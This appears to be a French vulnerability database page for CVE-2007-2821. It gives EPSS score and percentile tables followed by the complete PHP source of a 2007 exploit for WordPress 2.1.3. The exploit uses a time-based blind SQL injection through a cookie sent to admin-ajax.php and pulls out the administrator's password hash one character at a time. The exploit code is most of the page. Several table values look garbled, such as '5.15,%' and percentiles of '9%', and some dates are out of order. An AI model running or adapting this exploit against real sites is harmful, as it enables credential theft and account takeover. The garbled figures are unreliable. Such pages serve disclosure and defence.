CVE-2007-2821 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.39%	–	–
2022-04-03	–	–	4.39%	–	–
2022-08-28	–	–	4.39%	–	–
2023-03-12	–	–	–	2.24%	–
2023-07-09	–	–	–	2.62%	–
2023-08-13	–	–	–	3.48%	–
2023-12-17	–	–	–	3.48%	–
2024-01-14	–	–	–	3.4%	–
2024-01-21	–	–	–	3.4%	–
2024-02-18	–	–	–	4.7%	–
2024-03-31	–	–	–	5.15%	–
2024-06-02	–	–	–	5.15%	–
2024-07-21	–	–	–	2.64%	–
2024-07-28	–	–	–	2.64%	–
2024-08-11	–	–	–	2.64%	–
2024-08-25	–	–	–	1.83%	–
2024-12-22	–	–	–	2.31%	–
2025-02-02	–	–	–	2.31%	–
2025-01-19	–	–	–	2.31%	–
2025-02-02	–	–	–	2.31%	–
2025-03-18	–	–	–	–	5.15%
2025-03-18	–	–	–	–	5.15,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	71%
2022-04-03	87%
2022-08-28	88%
2023-03-12	88%
2023-07-09	89%
2023-08-13	9%
2023-12-17	91%
2024-01-14	9%
2024-01-21	91%
2024-02-18	92%
2024-03-31	93%
2024-06-02	93%
2024-07-21	91%
2024-07-28	9%
2024-08-11	91%
2024-08-25	89%
2024-12-22	89%
2025-02-02	9%
2025-01-19	89%
2025-02-02	9%
2025-03-18	89%
2025-03-18	89%

<?php error_reporting(E_ALL); $norm_delay = 0; /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// // WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit // written by Janek Vind "waraxe" // http://www.waraxe.us/ // 21. may 2007 /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// //===================================================================== $outfile = './warlog.txt';// Log file $url = 'http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php'; $testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000 $id = 1;// ID of the target user, default value "1" is admin's ID $suffix = '';// Override value, if needed $prefix = 'wp_';// WordPress table prefix, default is "wp_" //====================================================================== echo "Target: $url\n"; echo "sql table prefix: $prefix\n"; if(empty($suffix)) { $suffix = md5(substr($url, 0, strlen($url) - 24)); } echo "cookie suffix: $suffix\n"; echo "testing probe delays \n"; $norm_delay = get_normdelay($testcnt); echo "normal delay: $norm_delay deciseconds\n"; $hash = get_hash(); add_line("Target: $url"); add_line("User ID: $id"); add_line("Hash: $hash"); echo "\nWork finished\n"; echo "Questions and feedback - http://www.waraxe.us/ \n"; die("See ya! :) \n"); /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// function get_hash() { $len = 32; $field = 'user_pass'; $out = ''; echo "finding hash now ...\n"; for($i = 1; $i < $len + 1; $i ++) { $ch = get_hashchar($field,$i); echo "got $field pos $i --> $ch\n"; $out .= "$ch"; echo "current value for $field: $out \n"; } echo "\nFinal result: $field=$out\n\n"; return $out; } /////////////////////////////////////////////////////////////////////// function get_hashchar($field,$pos) { global $prefix, $suffix, $id, $testcnt; $char = ''; $cnt = $testcnt * 4; $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh'; $ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*"; // First let's determine, if it's number or letter $inj = sprintf($ipattern, $prefix, $id, ">57"); $post = sprintf($ppattern, $suffix, $inj, $suffix); $letter = test_condition($post); if($letter) { $min = 97; $max = 102; echo "char to find is [a-f]\n"; } else { $min = 48; $max = 57; echo "char to find is [0-9]\n"; } $curr = 0; while(1) { $area = $max - $min; if($area < 2 ) { $inj = sprintf($ipattern, $prefix, $id, "=$max"); $post = sprintf($ppattern, $suffix, $inj, $suffix); $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $inj = sprintf($ipattern, $prefix, $id, ">$curr"); $post = sprintf($ppattern, $suffix, $inj, $suffix); $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } echo "curr: $curr--$max--$min\n"; } return $char; } /////////////////////////////////////////////////////////////////////// function test_condition($p) { global $url, $norm_delay; $bret = false; $maxtry = 10; $try = 1; while(1) { $start = getmicrotime(); $buff = make_post($url, $p); $end = getmicrotime(); if($buff === '-1') { break; } else { echo "test_condition() - try $try - invalid return value ...\n"; $try ++; if($try > $maxtry) { die("too many tries - exiting ...\n"); } else { echo "trying again - try $try ...\n"; } } } $diff = $end - $start; $delay = intval($diff * 10); if($delay > ($norm_delay * 2)) { $bret = true; } return $bret; } /////////////////////////////////////////////////////////////////////// function get_normdelay($testcnt) { $fa = test_md5delay(1); echo "$fa\n"; $sa = test_md5delay($testcnt); echo "$sa\n"; $fb = test_md5delay(1); echo "$fb\n"; $sb = test_md5delay($testcnt); echo "$sb\n"; $fc = test_md5delay(1); echo "$fc\n"; $sc = test_md5delay($testcnt); echo "$sc\n"; $mean_nondelayed = intval(($fa + $fb + $fc) / 3); echo "mean nondelayed - $mean_nondelayed dsecs\n"; $mean_delayed = intval(($sa + $sb + $sc) / 3); echo "mean delayed - $mean_delayed dsecs\n"; return $mean_delayed; } /////////////////////////////////////////////////////////////////////// function test_md5delay($cnt) { global $url, $id, $prefix, $suffix; // delay in deciseconds $delay = -1; $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh'; $ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*'; $inj = sprintf($ipattern, $prefix, $id, $cnt); $post = sprintf($ppattern, $suffix, $inj, $suffix); $start = getmicrotime(); $buff = make_post($url, $post); $end = getmicrotime(); if(intval($buff) !== -1) { die("test_md5delay($cnt) - invalid return value, exiting ..."); } $diff = $end - $start; $delay = intval($diff * 10); return $delay; } /////////////////////////////////////////////////////////////////////// function getmicrotime() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } /////////////////////////////////////////////////////////////////////// function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE) { $ch = curl_init(); $timeout = 120; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)'); if(!empty($cookie)) { curl_setopt ($ch, CURLOPT_COOKIE, $cookie); } if(!empty($referer)) { curl_setopt ($ch, CURLOPT_REFERER, $referer); } if($headers === TRUE) { curl_setopt ($ch, CURLOPT_HEADER, TRUE); } else { curl_setopt ($ch, CURLOPT_HEADER, FALSE); } $fc = curl_exec($ch); curl_close($ch); return $fc; } /////////////////////////////////////////////////////////////////////// function add_line($buf) { global $outfile; $buf .= "\n"; $fh = fopen($outfile, 'ab'); fwrite($fh, $buf); fclose($fh); } /////////////////////////////////////////////////////////////////////// ?> # milw0rm.com [2007-05-21]